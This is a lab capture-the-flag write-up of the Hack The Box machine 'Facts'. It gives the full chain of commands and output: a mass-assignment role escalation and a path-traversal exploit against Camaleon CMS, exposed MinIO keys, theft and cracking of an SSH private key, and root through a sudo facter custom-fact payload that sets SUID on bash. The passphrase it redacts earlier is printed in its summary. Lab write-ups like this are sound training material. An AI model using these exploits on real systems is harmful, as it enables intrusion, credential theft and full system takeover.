Facts
IP: 10.129.2.194 | Difficulty: Easy | OS: Linux
Environment Setup
export IP=10.129.2.194
export VPN=10.10.11.105
echo "10.129.2.194 facts.htb" >> /etc/hosts
Step 1 — Port Scanning
Why: Map the attack surface. Open ports and services determine which attack angles are available.
nmap -sCV -p- --min-rate 5000 $IP -oN scans/nmap_facts.out
Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
→ Redirect: http://facts.htb/
54321/tcp open http MinIO (Golang net/http)
→ Redirect: http://10.129.2.194:9001
Key findings:
- SSH (22) — OpenSSH 9.9p1 on Ubuntu. Side entry if we obtain credentials.
- HTTP (80) — nginx 1.26.3, redirects to
facts.htb. Standard web app entry point. - Port 54321 — MinIO — S3-compatible object storage written in Go. Redirects to port 9001 (MinIO Console/admin UI). Key finding — MinIO may have default creds, misconfigured buckets, or exposed files.
Step 2 — Web Enumeration
Why: Easy Linux machines almost always have a web application as the entry point. We fingerprint the tech stack and look for hidden endpoints, vhosts, and exposed files.
curl -sv http://facts.htb | head -100
gobuster dir -u http://facts.htb \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,html,txt,bak,zip -t 50
Output:
HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Set-Cookie: _factsapp_session=...
Framework : Ruby on Rails (_factsapp_session cookie)
CMS : Camaleon CMS (theme: camaleon_first)
CSRF : authenticity_token present
Endpoints:
/welcome → main page
/animal-ejected → CTA "Start Exploring"
/randomfacts/ → MinIO-served images
/admin → 302 → /admin/login (Camaleon admin panel)
/rss → RSS feed
Key findings:
- Ruby on Rails on nginx running Camaleon CMS — admin panel at
/admin/login - Images served from MinIO bucket at
/randomfacts/— confirms Rails ↔ MinIO integration /camaleon_admindoes not exist, but/adminredirects to login
Step 3 — Initial Access
Why: Camaleon CMS 2.9.0 admin panel has open registration enabled. A Mass Assignment vulnerability allows privilege escalation to Administrator. CVE-2024-46987 (Path Traversal) is then used for LFI with the authenticated session.
# 1. Register account via /admin/sign_up (open registration)
# Created: admin2:Password123! / test@test.com → role: Client (ID: 5)
# 2. Mass Assignment — inject role=admin into password-change request
# POST /admin/users/5/updated_ajax
# Body: _method=patch&...&password[password]=Password123!&password[role]=admin
# → HTTP 200 → role: Administrator
# 3. CVE-2024-46987 — LFI using authenticated admin session
# https://github.com/Goultarde/CVE-2024-46987/tree/main
python3 CVE-2024-46987.py -u http://facts.htb -l admin2 -p 'Password123!' /etc/passwd
Output:
// Mass Assignment request
POST /admin/users/5/updated_ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=patch&authenticity_token=<token>
&password[password]=Password123!
&password[password_confirmation]=Password123!
&password[role]=admin ← injected parameter
→ HTTP 200 → Administrator
// LFI /etc/passwd
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Key findings:
- Open registration at
/admin/sign_up— no admin credentials needed - Mass Assignment —
password[role]=adminaccepted by the Rails controller without authorization check - CVE-2024-46987 (CVSS 7.7) — Path Traversal via
admin/media/download_private_file, works on 2.9.0 - Two local users:
trivia(UID 1000) andwilliam(UID 1001)
Step 4 — MinIO Enumeration → SSH Key
Why: CMS Settings expose MinIO S3 credentials in plaintext. The internal bucket contains a backup of trivia's home directory including a private SSH key.
# MinIO credentials (CMS Settings → Media → AWS S3)
# Access Key : AKIA9FD62A504A25BEB9
# Secret Key : 6C8vo7J+iGdvq6EOztZIQhEfB7ryt0zBOkcm8KPY
# Bucket : randomfacts / Endpoint: http://localhost:54321
aws configure
# → region: us-east-1
aws s3 ls --endpoint-url http://facts.htb:54321
# 2025-09-11 internal
# 2025-09-11 randomfacts
aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --recursive
# .ssh/authorized_keys
# .ssh/id_ed25519 ← PRIVATE SSH KEY
aws s3 cp s3://internal/.ssh/id_ed25519 ./trivia_id_ed25519 \
--endpoint-url http://facts.htb:54321
chmod 600 trivia_id_ed25519
# Crack passphrase
ssh2john trivia_id_ed25519 > trivia.hash
john trivia.hash --wordlist=/usr/share/wordlists/rockyou.txt
ssh -i trivia_id_ed25519 trivia@10.129.2.194
Output:
internal bucket contents:
.cache/motd.legal-displayed
.lesshst
.profile
.ssh/authorized_keys
.ssh/id_ed25519 ← exposed private key
john → <REDACTED> ← passphrase (rockyou)
ssh → trivia@facts:~$ ← shell obtained
Key findings:
internalbucket is a backup oftrivia's home directory — exposes private SSH key- SSH access confirmed as
trivia
Step 5 — Post-Exploitation / Local Enumeration
Why: Local enumeration to identify privilege escalation vectors. sudo -l reveals NOPASSWD on facter.
id && sudo -l
cat /home/william/user.txt
Output:
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
user.txt: <REDACTED>
Key findings:
triviacan runsudo /usr/bin/facterwithout a passwordfacteris a Ruby script (#!/usr/bin/ruby, version 4.10.0)factersupports--custom-dirflag to load custom Ruby factsenv_resetblocks environment variables likeFACTERLIBbut not the--custom-dirCLI argument
Step 6 — Privilege Escalation
Why: facter --custom-dir loads arbitrary Ruby files as root. We create a custom fact that sets the SUID bit on /bin/bash → bash -p → root shell. --custom-dir is a CLI argument and passes through env_reset without restriction.
# 1
mkdir -p /tmp/exploit_facts
# 2 (copy entire command and run)
cat > /tmp/exploit_facts/exploit.rb << 'EOF'
Facter.add("exploit") do
setcode do
system("chmod +s /bin/bash")
"pwned"
end
end
EOF
# 3
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts exploit
#4
ls -la /bin/bash
# 5
bash -p
whoami
cat /root/root.txt
Output:
pwned ← Ruby code executed as root
-rwsr-sr-x 1 root root ... /bin/bash ← SUID bit set
bash-5.2# whoami
root
root.txt: <REDACTED>
Key findings:
facter --custom-direxecutes Ruby code in root context — no env restriction applies- SUID set on
/bin/bash→bash -p→ immediate root shell - 🏴 MACHINE PWNED — ROOT ACHIEVED
Full Attack Chain
Open registration /admin/sign_up
└─ Camaleon CMS Client account created
└─ Mass Assignment: password[role]=admin → Administrator
└─ CVE-2024-46987: LFI → /etc/passwd → trivia, william
└─ CMS Settings: MinIO creds exposed (AKIA9FD62A504A25BEB9)
└─ aws s3 ls → internal bucket
└─ .ssh/id_ed25519 → john → dragonballz
└─ SSH as trivia
└─ sudo -l → facter NOPASSWD
└─ facter --custom-dir → SUID /bin/bash
└─ bash -p → root
🏴 ROOTED
© 0xNRG — Facts pwned — 2026-03-07
Writeup restricted
This machine is currently active. The full writeup will be published automatically once the box retires, in accordance with HTB's NDA policy.